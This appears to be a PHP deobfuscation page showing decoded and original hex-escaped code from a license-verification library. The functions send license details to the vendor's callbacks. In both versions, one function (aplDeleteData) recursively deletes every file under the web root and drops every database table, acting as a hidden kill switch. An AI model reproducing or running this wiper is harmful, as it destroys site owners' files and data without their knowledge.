Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
function aplVerifySupport($MYSQLI_LINK = null) { $notifications_array = array(); $a..
Decoded Output download
<? function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto D_l3v;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto gyBFL;
D_l3v:
if (aplCheckData($MYSQLI_LINK)) {
goto g2IGF;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto aAeV2;
g2IGF:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_support.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
aAeV2:
gyBFL:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto JE068;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto x2lUj;
JE068:
if (aplCheckData($MYSQLI_LINK)) {
goto NStqJ;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto psG87;
NStqJ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
psG87:
x2lUj:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto WUHXI;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto QnQyD;
WUHXI:
if (aplCheckData($MYSQLI_LINK)) {
goto gCgRi;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto YXhLZ;
gCgRi:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_update.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
YXhLZ:
QnQyD:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto FFPIl;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto UueQ_;
FFPIl:
if (aplCheckData($MYSQLI_LINK)) {
goto wDsoc;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto qR5uz;
wDsoc:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok")) {
goto LPUmS;
}
if (!(APL_STORAGE == "DATABASE")) {
goto JiAft;
}
mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);
JiAft:
if (!(APL_STORAGE == "FILE")) {
goto g9sIR;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
@fclose($handle);
g9sIR:
LPUmS:
qR5uz:
UueQ_:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) {
goto xH2RI;
}
$root_directory = dirname(__DIR__);
goto sz6QP;
xH2RI:
$root_directory = $_SERVER["DOCUMENT_ROOT"];
sz6QP:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
S0mDw:
}
Syohp:
rmdir($root_directory);
if (!(APL_STORAGE == "DATABASE")) {
goto sXSwp;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES");
P_hBR:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto EstAh;
}
$database_tables_array[] = $table_list_row[0];
goto P_hBR;
EstAh:
if (empty($database_tables_array)) {
goto qrJ4j;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");
D8VL5:
}
feFjo:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");
l61t7:
}
A3AQc:
qrJ4j:
sXSwp:
exit;
} ?>
Did this file decode correctly?
Original Code
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto D_l3v;
}
$notifications_array["\x6e\x6f\x74\151\x66\151\x63\x61\164\151\157\156\137\143\x61\x73\x65"] = "\x6e\x6f\164\151\146\151\x63\141\x74\x69\157\156\137\163\143\x72\151\x70\x74\x5f\x63\157\x72\x72\165\x70\x74\x65\144";
$notifications_array["\156\157\x74\x69\146\151\x63\x61\x74\x69\x6f\156\x5f\164\145\x78\x74"] = implode("\73\x20", $apl_core_notifications);
goto gyBFL;
D_l3v:
if (aplCheckData($MYSQLI_LINK)) {
goto g2IGF;
}
$notifications_array["\156\157\x74\151\x66\151\143\x61\x74\151\x6f\156\137\x63\x61\163\x65"] = "\156\x6f\x74\151\x66\151\x63\141\x74\151\157\156\x5f\x6c\151\x63\145\156\x73\x65\x5f\143\157\162\162\x75\160\164\x65\x64";
$notifications_array["\x6e\x6f\164\151\146\x69\x63\141\x74\151\x6f\x6e\x5f\x74\x65\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto aAeV2;
g2IGF:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\x70\x72\x6f\x64\165\143\164\x5f\x69\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\46\x63\x6c\x69\145\x6e\x74\137\x65\x6d\x61\151\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\x63\x65\156\163\145\x5f\143\x6f\144\x65\75" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\157\164\137\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\x69\x6e\x73\x74\x61\154\154\x61\x74\151\x6f\x6e\x5f\150\x61\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\x26\154\151\x63\145\156\163\x65\x5f\163\x69\147\156\141\x74\165\162\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\57\141\x70\x6c\137\x63\141\154\154\142\x61\143\x6b\x73\57\x6c\x69\143\x65\156\x73\x65\x5f\x73\x75\x70\x70\157\162\164\56\160\150\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
aAeV2:
gyBFL:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto JE068;
}
$notifications_array["\156\x6f\164\151\146\151\x63\141\x74\151\157\156\x5f\x63\141\x73\x65"] = "\x6e\x6f\164\x69\x66\151\143\141\x74\151\157\x6e\137\163\143\x72\151\x70\164\x5f\143\x6f\162\x72\165\160\x74\x65\144";
$notifications_array["\x6e\x6f\164\x69\x66\151\143\x61\x74\151\x6f\x6e\137\164\x65\170\164"] = implode("\x3b\40", $apl_core_notifications);
goto x2lUj;
JE068:
if (aplCheckData($MYSQLI_LINK)) {
goto NStqJ;
}
$notifications_array["\156\157\x74\151\146\x69\x63\141\164\151\157\156\137\143\x61\x73\x65"] = "\x6e\157\164\151\146\x69\143\141\x74\151\x6f\x6e\137\154\151\143\145\156\163\145\137\143\157\x72\162\165\x70\164\x65\x64";
$notifications_array["\156\157\164\151\x66\x69\x63\141\x74\151\x6f\156\137\x74\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto psG87;
NStqJ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\x72\157\x64\165\143\164\x5f\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\154\151\x65\x6e\164\x5f\x65\x6d\141\x69\154\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\151\x63\145\156\163\145\x5f\x63\157\x64\145\x3d" . rawurlencode($LICENSE_CODE) . "\x26\162\x6f\x6f\164\x5f\x75\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\x69\x6e\163\164\141\154\x6c\x61\164\151\x6f\156\137\150\141\163\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\154\x69\143\145\x6e\x73\145\x5f\x73\151\x67\x6e\x61\x74\165\162\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\x6c\x5f\143\x61\x6c\154\x62\x61\143\x6b\163\57\154\151\x63\145\x6e\163\x65\137\165\x70\144\x61\x74\145\x73\56\160\150\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
psG87:
x2lUj:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto WUHXI;
}
$notifications_array["\156\157\164\x69\x66\151\143\x61\164\151\x6f\156\137\143\141\x73\145"] = "\156\157\164\x69\146\151\143\x61\x74\151\x6f\x6e\137\163\143\162\151\160\164\x5f\x63\157\x72\162\165\x70\164\145\x64";
$notifications_array["\156\157\164\x69\x66\151\143\x61\164\151\157\156\137\x74\x65\170\x74"] = implode("\73\x20", $apl_core_notifications);
goto QnQyD;
WUHXI:
if (aplCheckData($MYSQLI_LINK)) {
goto gCgRi;
}
$notifications_array["\156\x6f\164\x69\146\x69\x63\x61\x74\151\157\156\137\x63\141\163\145"] = "\156\x6f\x74\x69\146\151\143\x61\x74\151\157\x6e\x5f\154\151\x63\145\x6e\163\145\x5f\x63\157\x72\x72\165\x70\x74\x65\x64";
$notifications_array["\156\157\x74\x69\x66\x69\x63\x61\164\x69\x6f\x6e\x5f\x74\x65\x78\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto YXhLZ;
gCgRi:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\x70\162\157\144\x75\x63\x74\137\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\154\x69\145\x6e\164\137\x65\155\x61\151\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\151\143\x65\156\x73\x65\x5f\143\x6f\x64\x65\75" . rawurlencode($LICENSE_CODE) . "\46\162\157\157\x74\137\x75\162\x6c\75" . rawurlencode($ROOT_URL) . "\x26\151\x6e\x73\x74\x61\154\x6c\141\164\151\157\x6e\x5f\x68\x61\x73\150\75" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\x63\x65\x6e\163\145\x5f\x73\x69\147\x6e\141\x74\165\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\x70\154\137\143\141\x6c\154\x62\x61\143\x6b\163\57\154\151\x63\145\x6e\x73\145\137\x75\160\144\141\x74\145\56\x70\x68\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
YXhLZ:
QnQyD:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto FFPIl;
}
$notifications_array["\x6e\x6f\x74\x69\146\x69\143\x61\x74\151\157\156\x5f\143\141\x73\145"] = "\156\x6f\164\151\x66\x69\143\x61\x74\151\157\156\x5f\x73\143\162\x69\x70\164\137\143\x6f\162\162\x75\x70\164\x65\144";
$notifications_array["\156\157\x74\151\146\x69\143\141\x74\x69\157\x6e\x5f\x74\x65\x78\x74"] = implode("\73\x20", $apl_core_notifications);
goto UueQ_;
FFPIl:
if (aplCheckData($MYSQLI_LINK)) {
goto wDsoc;
}
$notifications_array["\x6e\x6f\164\151\x66\151\143\141\x74\x69\157\x6e\x5f\x63\x61\163\145"] = "\156\157\x74\151\x66\x69\x63\141\164\x69\157\x6e\x5f\x6c\x69\143\145\x6e\163\x65\x5f\143\157\x72\x72\x75\x70\x74\145\x64";
$notifications_array["\x6e\157\164\151\x66\x69\x63\141\x74\x69\157\x6e\137\164\x65\170\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto qR5uz;
wDsoc:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\x70\162\157\x64\x75\143\x74\x5f\151\144\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\154\x69\145\x6e\x74\x5f\x65\x6d\x61\151\154\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\143\145\x6e\163\145\x5f\143\x6f\144\145\75" . rawurlencode($LICENSE_CODE) . "\46\x72\157\x6f\164\137\x75\x72\x6c\75" . rawurlencode($ROOT_URL) . "\46\151\156\x73\x74\141\x6c\x6c\141\x74\x69\157\156\x5f\150\141\x73\150\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\143\x65\156\x73\x65\137\163\151\x67\x6e\x61\x74\x75\162\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\x6c\137\x63\141\154\x6c\142\x61\143\153\x73\57\x6c\x69\143\145\156\163\x65\x5f\165\x6e\151\156\163\x74\x61\x6c\x6c\56\x70\150\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\x6e\x6f\x74\x69\x66\151\x63\141\x74\151\x6f\156\x5f\143\141\x73\145"] == "\x6e\157\164\151\146\x69\x63\141\164\151\x6f\x6e\137\154\151\143\145\156\x73\x65\x5f\x6f\x6b")) {
goto LPUmS;
}
if (!(APL_STORAGE == "\x44\x41\x54\101\102\101\x53\x45")) {
goto JiAft;
}
mysqli_query($MYSQLI_LINK, "\x44\105\x4c\x45\x54\x45\40\x46\122\117\x4d\40" . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "\104\x52\x4f\120\40\x54\101\x42\x4c\105\x20" . APL_DATABASE_TABLE);
JiAft:
if (!(APL_STORAGE == "\x46\111\114\105")) {
goto g9sIR;
}
$handle = @fopen(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION, "\x77\x2b");
@fclose($handle);
g9sIR:
LPUmS:
qR5uz:
UueQ_:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "\131\x45\x53" && isset($_SERVER["\x44\117\103\125\x4d\x45\x4e\x54\137\x52\x4f\x4f\124"])) {
goto xH2RI;
}
$root_directory = dirname(__DIR__);
goto sz6QP;
xH2RI:
$root_directory = $_SERVER["\104\x4f\x43\x55\x4d\x45\x4e\124\x5f\122\117\117\x54"];
sz6QP:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
S0mDw:
}
Syohp:
rmdir($root_directory);
if (!(APL_STORAGE == "\104\101\124\x41\102\x41\123\x45")) {
goto sXSwp;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "\x53\x48\x4f\x57\x20\x54\101\102\114\x45\123");
P_hBR:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto EstAh;
}
$database_tables_array[] = $table_list_row[0];
goto P_hBR;
EstAh:
if (empty($database_tables_array)) {
goto qrJ4j;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "\x44\x45\x4c\105\x54\x45\x20\106\x52\117\115\x20{$table_name}");
D8VL5:
}
feFjo:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "\104\122\x4f\120\40\124\101\102\114\x45\40{$table_name}");
l61t7:
}
A3AQc:
qrJ4j:
sXSwp:
exit;
}
Function Calls
None |
Stats
MD5 | d04ad9f644dba3af05f30b9613e2b3bc |
Eval Count | 0 |
Decode Time | 42 ms |